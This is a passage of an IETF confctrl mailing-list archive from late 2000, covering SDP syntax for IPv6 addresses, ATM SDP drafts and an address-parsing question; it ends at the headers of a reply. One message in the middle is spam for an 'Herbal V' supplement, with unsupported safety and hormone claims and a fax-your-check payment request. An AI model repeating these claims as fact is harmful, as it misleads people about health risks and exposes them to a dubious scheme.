Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA06557
	for <confctrl@zephyr.isi.edu>; Sun, 29 Oct 2000 11:36:38 -0800 (PST)
Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA09723
	for <confctrl@isi.edu>; Sun, 29 Oct 2000 11:36:57 -0800 (PST)
Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124])
	by imr1.ericy.com (8.9.3/8.9.3) with ESMTP id NAA22913;
	Sun, 29 Oct 2000 13:36:55 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179])
	by mr5.exu.ericsson.se (8.10.2/8.10.2) with ESMTP id e9TJZ3k07574;
	Sun, 29 Oct 2000 13:35:03 -0600 (CST)
Received: from ericsson.com (arael25m062.ericsson.se [130.100.251.191]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA02762; Sun, 29 Oct 2000 13:36:52 -0600 (CST)
Message-ID: <39FC7C54.6A593069@ericsson.com>
Date: Sun, 29 Oct 2000 20:36:52 +0100
From: Sean Olson <sean.olson@ericsson.com>
Organization: Ericsson Inc.
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian Huitema <huitema@microsoft.com>
CC: confctrl@ISI.EDU, sip@lists.bell-labs.com
Subject: Re: [SIP] New I-D on SDP and IPv6
References: <B5468CB3A359784A81A0923A24C01CA60BAF64@red-msg-03.redmond.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Christian Huitema wrote:

> Why are you trying to syntactically prevent the use of IPv4 class E
> addresses, or IPv4 addresses that terminate in ".0" ? These may not be
> terribly useful, but a syntax description is the wrong place to do this kind
> of controls. Besides, I can see why I would want in some cases to use a null
> address, or an experimental anycast address.

This is based on current text in RFC2327. I wasn't trying to be more
restrictive or more liberal in what was allowed in an IPv4 address in SDP.

The original ABNF was:
   IP4-address =         b1 "." decimal-uchar "." decimal-uchar "." b4
   b1 =                  decimal-uchar
                         ;less than "224"; not "0" or "127"
   b4 =                  decimal-uchar
                         ;not "0"

I'm perfectly happy to remove these restrictions, but this is not the
aim of this Internet-Draft.


>
>
> Besides, the whole thing does not seem consistent. You don't spend the same
> amount of effort to qualify the fact that there shall be at most 8 hexparts
> in the IPv6 address, or that the IPv6 multicast addresses start with a well
> known prefix.

This was a compromise. It is easier to specify this for IPv4 than it is for IPv6
:)
This is not the focus of the I-D either. I would be happy to simplify the v4
ABNF
to its original form.


> I believe it would be much simpler to simply use the
> definitions:
>
>    IP6-address =         hexpart [ ":" IP4-address ]
>    IP4-address =         decimal-uchar 3*( "." decimal-uchar )
>    IP4-unicast = IP4-address
>    IP6-unicast = IP6-address
>    IP4-multicast = IP4-address
>    IP6-multicast = IP6-address

I believe the distinction between the unicast and multicast syntax
should be made clearer. I would be happy to revert to a simpler
syntax as long as this distinction is highlighted.

>
> And do the test "is this a multicast address" later, not during parsing.
>

This is an implementation issue. The presence of the more restrictive ABNF
is not an attempt to dictate the implementation of the parser. (In fact, as you
note, it would be a poor implementation choice to strictly use the ABNF
as posed for a parser.) But, the more precise ABNF is intended to clarify
the distinction between the multicast and unicast syntax.

Thanks for the comments.
/sean

>
> > -----Original Message-----
> > From: Sean Olson [mailto:sean.olson@ericsson.com]
> > Sent: Friday, October 27, 2000 12:47 AM
> > To: confctrl@isi.edu; sip@lists.bell-labs.com
> > Subject: [SIP] New I-D on SDP and IPv6
> >
> >
> > Hello,
> >
> > There is a new Internet-Draft available on the use of IPv6
> > addresses in SDP. The I-D simply clarifies the syntax to use
> > for representing an IPv6 address in an SDP description.
> > Any comments are welcome.
> >
> > http://www.ietf.org/internet-drafts/draft-olson-sdp-ipv6-00.txt
> >
> > Regards,
> > Sean Olson <sean.olson@ericsson.com>


From confctrl-owner  Mon Oct 30 04:01:14 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA07365
	for confctrl-outgoing; Mon, 30 Oct 2000 04:01:14 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA07354
	for <confctrl@zephyr.isi.edu>; Mon, 30 Oct 2000 04:01:12 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA04005
	for <confctrl@isi.edu>; Mon, 30 Oct 2000 04:01:11 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22034;
	Mon, 30 Oct 2000 07:01:11 -0500 (EST)
Message-Id: <200010301201.HAA22034@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-atm-02.txt
Date: Mon, 30 Oct 2000 07:01:11 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Conventions for the use of the Session Description 
                          Protocol (SDP)for ATM Bearer Connections
	Author(s)	: R. Kumar, M. Mostafa
	Filename	: draft-ietf-mmusic-sdp-atm-02.txt
	Pages		: 71
	Date		: 27-Oct-00
	
This document describes conventions for using the Session Description
Protocol (SDP) described in RFC2327  [1] for controlling ATM Bearer
Connections, and any associated ATM Adaptation Layer (AAL). The AALs
addressed are Type 1, Type 2 and Type 5. This list of conventions is
meant to be exhaustive. Individual applications can use subsets of
these conventions. Further, these conventions are meant to comply
strictly with the SDP syntax as defined in rfc2327.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-atm-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001027113136.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-atm-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001027113136.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Oct 30 06:10:42 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA12430
	for confctrl-outgoing; Mon, 30 Oct 2000 06:10:42 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA12425
	for <confctrl@zephyr.isi.edu>; Mon, 30 Oct 2000 06:10:40 -0800 (PST)
Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA01558
	for <confctrl@isi.edu>; Mon, 30 Oct 2000 06:10:16 -0800 (PST)
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA23279;
	Mon, 30 Oct 2000 09:09:26 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA28293;
	Mon, 30 Oct 2000 09:09:26 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <V6S05ST6>; Mon, 30 Oct 2000 09:08:57 -0500
Message-ID: <4FBEA8857476D311A03300204840E1CF01A6E8F7@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>, mmostafa@cisco.com
Cc: atmsdp@eng.fore.com, confctrl@ISI.EDU
Subject: RE: Question: MIME (rfc2048 registry) of ATM SDP parameter values
Date: Mon, 30 Oct 2000 09:09:24 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

No, I think if you create a new MIME type, you register it.
We probably don't have to create IANA registries for new items,
because we are likely to have a new SDP RFC before we have
any updates to this document, but we should do the MIME registrations.

Brian

> -----Original Message-----
> From: Rajesh Kumar [mailto:rkumar@cisco.com]
> Sent: Saturday, October 28, 2000 12:47 AM
> To: Rosen, Brian; mmostafa@cisco.com; bfoster@cisco.com;
> fandreas@cisco.com
> Cc: atmsdp@eng.fore.com; confctrl@isi.edu
> Subject: Question: MIME (rfc2048 registry) of ATM SDP parameter values
> 
> 
> Team,
> Since MIME registry applies to IP-based object classes only, 
> there is no 
> need to register the ATM formats, encodings, encapsulations, 
> profiles etc. 
> referenced in the ATM SDP draft.
> This is even though we're using an IP-based control fabric, 
> the bearer 
> fabric represented in ATM SDP are not IP-based structures and 
> are therefore 
> not amenable to rfc2048 (MIME) registry. 	
> 
> The rfc2327 suggestion to MIME-register SDP parameter 
> extensions does not 
> apply to ATM SDP.
> 
> Please confirm, refute, guide.
> 
> Rajesh Kumar
> Cisco Systems
> Phone 408 527 0811
> Fax 408 853-1101
> 

From confctrl-owner  Tue Oct 31 16:42:26 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id QAA02374
	for confctrl-outgoing; Tue, 31 Oct 2000 16:42:26 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA02369
	for <confctrl@zephyr.isi.edu>; Tue, 31 Oct 2000 16:42:25 -0800 (PST)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id QAA26993
	for <confctrl@isi.edu>; Tue, 31 Oct 2000 16:42:19 -0800 (PST)
Received: from rkumar-ntl.cisco.com ([144.254.252.22])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id QAA26258;
	Tue, 31 Oct 2000 16:41:39 -0800 (PST)
Message-Id: <4.3.2.7.2.20001031161539.00c13c40@farley.cisco.com>
X-Sender: rkumar@farley.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 31 Oct 2000 16:35:21 -0800
To: Joerg Ott <jo@tzi.uni-bremen.de>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: draft-ietf-mmusic-sdp-atm-02.txt
Cc: atmsdp@eng.fore.com, confctrl@ISI.EDU, Brian.Rosen@marconi.com
In-Reply-To: <Version.32.20000530085910.045a5c90@127.0.0.1>
References: <4.1.20000524085633.00b89a20@wanbu-mail.cisco.com>
 <200005241239.e4OCd1R05514@bettina.informatik.uni-bremen.de >
 <4.1.20000523163543.00cbde50@wanbu-mail.cisco.com>
 <4FBEA8857476D311A03300204840E1CF678331@whq-msgusr-02.fore. com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jeorg,
This document has been sitting for as an Internet Draft, in various 
versions, since March 9 of this year. Since then it has been extensively 
reviewed, commented on and updated. All comments and inputs so far have 
been accounted for. Some of the inputs have been very exhaustive and 
detailed. The document has been fairly stable since the last IETF in 
Pittsburgh, and comments/changes in it since then have been fairly minor 
and have not impacted its core constructs and concepts.

I think all interested parties are satisfied with this document as it 
stands (with maybe VERY minor changes that can be easily accommodated), and 
it is time to issue a Working Group last call before IESG last call and 
subsequent rfc status. Many different vendors have been designing to this 
document and they would like to see closure and standards status for it. 
Also, this document is a key reference in the h.248/Megaco effort, and for 
this reason, it is necessary to move it quickly to the next state.

I would therefore request you to issue an MMUSIC working group last call on 
this document. Please advise.

Thanks,


Rajesh Kumar
Cisco Systems
Phone 408 527 0811
Fax 408 853-1101


From confctrl-owner  Wed Nov  1 20:19:22 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA24369
	for confctrl-outgoing; Wed, 1 Nov 2000 20:19:22 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA24364
	for <confctrl@zephyr.isi.edu>; Wed, 1 Nov 2000 20:19:20 -0800 (PST)
Received: from galois.net (galois.net [209.95.107.223])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id UAA04502
	for <confctrl@isi.edu>; Wed, 1 Nov 2000 20:19:20 -0800 (PST)
Received: from galois.net (ioc1-0683.dyn.interpath.net [216.48.50.171] (may be forged))
	by galois.net (8.9.3/8.9.3) with ESMTP id XAA09597
	for <confctrl@isi.edu>; Wed, 1 Nov 2000 23:19:17 -0500 (EST)
Message-ID: <3A00E888.D650CFAB@galois.net>
Date: Wed, 01 Nov 2000 23:07:36 -0500
From: Thomas Davis <thomas@galois.net>
X-Mailer: Mozilla 4.73C-CCK-MCD Caldera Systems OpenLinux [en] (X11; U; Linux 2.2.14 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

 

From confctrl-owner  Thu Nov  2 03:35:57 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA06203
	for confctrl-outgoing; Thu, 2 Nov 2000 03:35:57 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA06198
	for <confctrl@zephyr.isi.edu>; Thu, 2 Nov 2000 03:35:55 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA14773
	for <confctrl@isi.edu>; Thu, 2 Nov 2000 03:35:54 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA16250;
	Thu, 2 Nov 2000 06:35:53 -0500 (EST)
Message-Id: <200011021135.GAA16250@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-tcpmedia-00.txt
Date: Thu, 02 Nov 2000 06:35:52 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: TCP-Based Media Transport in SDP
	Author(s)	: D. Yon
	Filename	: draft-ietf-mmusic-sdp-tcpmedia-00.txt
	Pages		: 9
	Date		: 01-Nov-00
	
This document describes how to express TCP-based media transport 
using the Session Description Protocol (SDP).  It defines two new 
protocol identifiers: TCP and RTP/AVP-TCP.  It also defines the 
syntax and semantics for an SDP 'direction' attribute that describes 
the TCP connection setup procedure.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-tcpmedia-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-tcpmedia-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-tcpmedia-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001101143703.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-tcpmedia-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-tcpmedia-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001101143703.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Nov  2 20:50:52 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA08914
	for confctrl-outgoing; Thu, 2 Nov 2000 20:50:52 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA08909
	for <confctrl@zephyr.isi.edu>; Thu, 2 Nov 2000 20:50:51 -0800 (PST)
Received: from szgfax.sinet.net.cn ([202.103.190.11])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id UAA07308
	for <confctrl@isi.edu>; Thu, 2 Nov 2000 20:50:46 -0800 (PST)
Date: Thu, 2 Nov 2000 20:50:46 -0800 (PST)
From: hv@of-hachetal.de
Message-Id: <200011030450.UAA07308@gamma.isi.edu>
Received: from h809 ([63.30.200.188]) by szgfax.sinet.net.cn
          (Post.Office MTA v3.0 release 0122 ID# 0-44560U100L2S100)
          with SMTP id AAO81; Fri, 3 Nov 2000 12:44:30 +0800
To: hv@of-hachetal.de
Subject: At last, Herbal V, the all natural alternative to V----A!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Herbal V: An Incredible All-Natural Healthy Alternative 


  Herbal V is the All Natural Approach to Male Virility,
  Vitality and Pleasure.



Available N o w ! 


Welcome to the New Sexual Revolution.

It's the all natural male potency and pleasure pill that men 
everywhere are buzzing about. Herbal V is safe, natural and
specifically formulated to help support male sexual function
and pleasure. You just take two easy-to-swallow tablets
one hour before sex. And there's more great news - you can
get Herbal V for less than $1 a pill.

Amazing word of mouth praise on Herbal V has been spreading 
like wildfire-already over 1,500,000 men  have chosen
Herbal V. Since it is 100% natural you will never have
to worry about safety. Try doctor-recommended Herbal V
today and have the greatest night of your life!


Herbal V... Bringing Back the Magic!


1,585,000 men can't be wrong. To date over 1 million men 
have tried the super supplement Herbal V.
Here is why: 

No Doctor Visit Required 
Available Over the Counter 
Not a Drug 
100% Natural 
Safe, No Worries 
Highest Quality Pharmaceutical-Grade Pure Nutriceuticals 
Guaranteed Potency & Purity 

Be a Real Man Again!

Questions and Answers

What is Herbal V?

Herbal V is a proprietary blend that was specifically
developed as a safe alternative for men who prefer
an all-natural approach to address impotence and boost
sexual performance. This amazing formula first became
popular with Hollywood insiders and the wealthy elite.
They were maximizing their sex lives, long before it 
was available to the general public. 

How does Herbal V work?

Developed by a team whose goal was to create the perfect 
all-natural aphrodisiac. Herbal V is the result of that
remarkable effort. The Herbal V formula contains a precise
blend of cutting edge pro-sexual nutrients from around
the world that provide nutritional support, making it
possible for a man to have a pleasurable sexual experience. 

What can Herbal V do for me?

Herbal V helps support male sexual function and 
pleasure in a safe and natural manner. Simply put, 
it can make your sex life incredible. 

Is Herbal V Safe?

One of the great things about Herbal V is that it is
not a drug. It is an incredible herbal dietary supplement
that provides nutritional support for male sexual function
and pleasure. One of the most comforting features of
Herbal V is that you never have to worry about safety. 

Herbal V: Safe - Natural - Exciting

Many have speculated that because Herbal V is so
popular with men, it must contain prescription drugs
or chemical components. Herbal V does not contain any 
elements or traces of any prescription drug. Herbal V 
is made using the world's most technologically advanced
state-of-the-art cold processing equipment to ensure
maximum purity. Herbal V has been independently analyzed
by the nation's premier testing facility to ensure purity,
quality and to end the rumors that, because it is so
popular, it must somehow be chemical. It is not.
Herbal V is natural - just as it says on the label.
Herbal V is simply fantastic! 

Herbal V: Ingredients

Yohimbe, saw palmetto, avena sativa, androstenedione,
guarana, taurine, siberian ginseng, tribulus terrestris. 
Tribulus Terrestis is certified to enhanced testosterone
levels by increasing Luteinzing hormone (LH) levels. 
Androstenedione which is a precursor to testosterone
unlocks bound testosterone and makes it biologically
active again quickly. This means a dramatic surge in 
desire. Avena Sativa Stimulates the neurotransmitter 
pleasure centers to maximum capacity. This greatly
intensifies pleasure.

Just listen to what Herbal V has done for the sex lives
of people like you!

“On a scale of 1 to 10, it's a 15. Electrifying. It's like 
a wonder pill!” 
— Justin Q B., New Haven, Texas

“I haven't had sexual relations in 11 years. Then with 
Herbal V it was... wow! It works again!” 
— Sid R., Lakeland, Florida

“I had sex four times in one night. It made me feel
like a 19-year-old again.” 
— Chip S, Beech Mountain, North Carolina

“Herbal V has turned my husband into a Sexual Superman! 
I like the fact that it's all natural and has no
side effects. It's bringing back the good old days.” 
— Jennifer B, Beverly Hills, California 

The above testimonials are from product literature, 
and we have not independently verified them.
However, the following testimonial is from a "senior"
gentleman who has purchased his second bottle of
Herbal V. When we heard his words with our own ears,
we asked his permission to print them here. 

 “Man! I'm wild as I can be! I feel like I'm 25 years old again! 
I'm not believing this!” 
                          — Mr. Murphy, age 64, Lampart, IL.



Risk Free: Double Your Money Back Guarantee

If Herbal V does not give the desired results as stated
above, simply return the unused portion for a
double-your money back refund. No questions asked ! 

Order Now: Safe, Fast, Secure, Private

Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is
available only through this special promotional offer.
Herbal V arrives in plain packaging for your privacy.
Any and all information is kept strictly confidential.

Payment Methods

You may FAX or Postal Mail Checks, MasterCard, Visa,
& American Express.payments. Money Orders
are accepted only by Postal Mail. 


Each bottle of Herbal V contains 30 tablets, approximately
a 1 month supply.


Step 1: Place a check by your desired quanity.


______ 1 Bottle of Herbal V  $28


______ 2 Bottles of Herbal V $48


______ 3 Bottles of Herbal V $59


Please add $6 shipping and handling for any size order. 
[ Total cost including shipping & handling, 
1 bottle=$34, 2 bottles=$54, 3 bottles=$65 ]

International Orders
Please add $16 shipping and handling for any size order.
[ Total cost including shipping & handling,
1 bottle=$40, 2 bottles=$60, 3 bottles=$75 ]
We cannot accept foreign checks.
International money orders or credit cards only.

Step 2: Place a check by your desired payment method 
and complete fields if necessary.


_____Check or CHECK-BY-FAX [details below]


_____Money Order 


_____American Express 
Account Number__________________ Exp____/____

_____Visa
Account Number__________________ Exp____/____

_____MasterCard
Account Number__________________ Exp____/____


Please make your check or money order payable to
"Lion Sciences National".
 

Step 3: Please complete and print the following fields clearly.


Name ___________________________________________________ 


Address _________________________________________________


City ____________________________________________________ 


State ___________________________________________________ 


Zip _____________________________________________________ 


E-mail __________________________________________________ 


Signature _________________________________________________
[ required for check and credit card orders]



             Toll Free FAX Order Line: 1-800-940-6590
If faxing in your order, please state whether you require
a fax, email, or no confirmation at all. 
Allow up to one day for confirmation, if requested.
FAX orders are processed immediately.

  Or, print & mail to: LSN   
                       3502 N. Powerline Rd. #525 
                       Pompano Beach, FL 33069                


        ______________________________________________________


*CHECK BY FAX ORDERS: Complete the check as normal. Tape
the check in the area below. Below the check, clearly write
the check number, all numbers at the bottom of the check,
& your name. Tape the check below and fax the check to the
toll free FAX number above. Void the check. Our merchant
will electronically debit your account for the amount of 
the check; your reference number for this transaction will
be your check number. Nothing could be safer & easier !

                          TAPE CHECK BELOW















              _____________________________________________________________

This is a one time mailing: Removal is automatic and no further 
contact is necessary. Please Note: Herbal V is not intended to
diagnose, treat, cure or prevent any disease. As individuals differ,
so will results. Herbal V helps provide herbal and nutritional support
for male sexual performance. The FDA has not evaluated these 
statements. For details about our double your money back guarantee,
please write to the above address, attention consumer affairs 
department; enclose a self addressed stamped envelope for this and any 
requested contact information.
Thank You.

From confctrl-owner  Fri Nov  3 13:01:36 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA04393
	for confctrl-outgoing; Fri, 3 Nov 2000 13:01:36 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA04388
	for <confctrl@zephyr.isi.edu>; Fri, 3 Nov 2000 13:01:34 -0800 (PST)
Received: from thalia.fm.intel.com (thalia.fm.intel.com [132.233.247.11])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id NAA07048
	for <confctrl@ISI.EDU>; Fri, 3 Nov 2000 13:01:32 -0800 (PST)
Received: from SMTP (fmsmsxvs02-1.fm.intel.com [132.233.42.202])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.32 2000/10/12 22:57:04 dmccart Exp $) with SMTP id VAA14664
	for <confctrl@ISI.EDU>; Fri, 3 Nov 2000 21:02:48 GMT
Received: from fmsmsx18.intel.com ([132.233.48.18]) by 132.233.48.202
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Fri, 03 Nov 2000 21:01:31 0000 (GMT)
Received: by fmsmsx18.fm.intel.com with Internet Mail Service (5.5.2650.21)
	id <VX6DKT7W>; Fri, 3 Nov 2000 13:01:30 -0800
Message-ID: <F1CE15E08172D4119247009027AE9D500194F037@FMSMSX37>
From: "Tulpule, Naren" <naren@trillium.com>
To: confctrl@ISI.EDU
Subject: problem parsing IPv6 address vs FQDN
Date: Fri, 3 Nov 2000 13:01:25 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
  I have a very simple problem, regarding the IPv6 address format. Please
let me know if I should redirect it to some other list. In SDP, you can have
IPv4, IPv6 and FQDN (fully qualified domain name) formats coexisiting and
would like to parse them differently so as to take different actions (eg
invoking DNS). 
  How do you parse "ABC" ? IPv6 ABNF is so braindead that this is a valid
IPv6 address, while the intention in most likelihood is to name a local
host. Of course you can choose arbitrarily to make this either IPv6 address
or FQDN, yet with a simple change to IPv6 format (e.g a leading colon) this
problem can be avoided.

-- Naren.
These views and opinions are mine alone, not those of Intel    (yet ;-) 
Narendra C. Tulpule SMTS, Trillium (an Intel company)
Ph: +1-310-442-9222              Fax: +1-310-442-1162
12100 Wilshire Bl #1800         Los Angeles, CA 90025


From confctrl-owner  Fri Nov  3 15:06:49 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA07806
	for confctrl-outgoing; Fri, 3 Nov 2000 15:06:49 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA07801
	for <confctrl@zephyr.isi.edu>; Fri, 3 Nov 2000 15:06:47 -0800 (PST)
Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.202.251] (may be forged))
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA18018
	for <confctrl@ISI.EDU>; Fri, 3 Nov 2000 15:06:47 -0800 (PST)
Received: from glock (dhcp-161-44-19-48.cisco.com [161.44.19.48])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with SMTP id PAA14382;
	Fri, 3 Nov 2000 15:06:15 -0800 (PST)
Message-ID: <021501c045ea$aa97e900$30132ca1@glock>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Tulpule, Naren" <naren@trillium.com>, <confctrl@ISI.EDU>
References: <F1CE15E08172D4119247009027AE9D500194F037@FMSMSX37>
Subject: Re: problem parsing IPv6 address vs FQDN
Date: Fri, 3 Nov 2000 17:01:32 -0600
Organization: Cisco Systems, Inc.
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
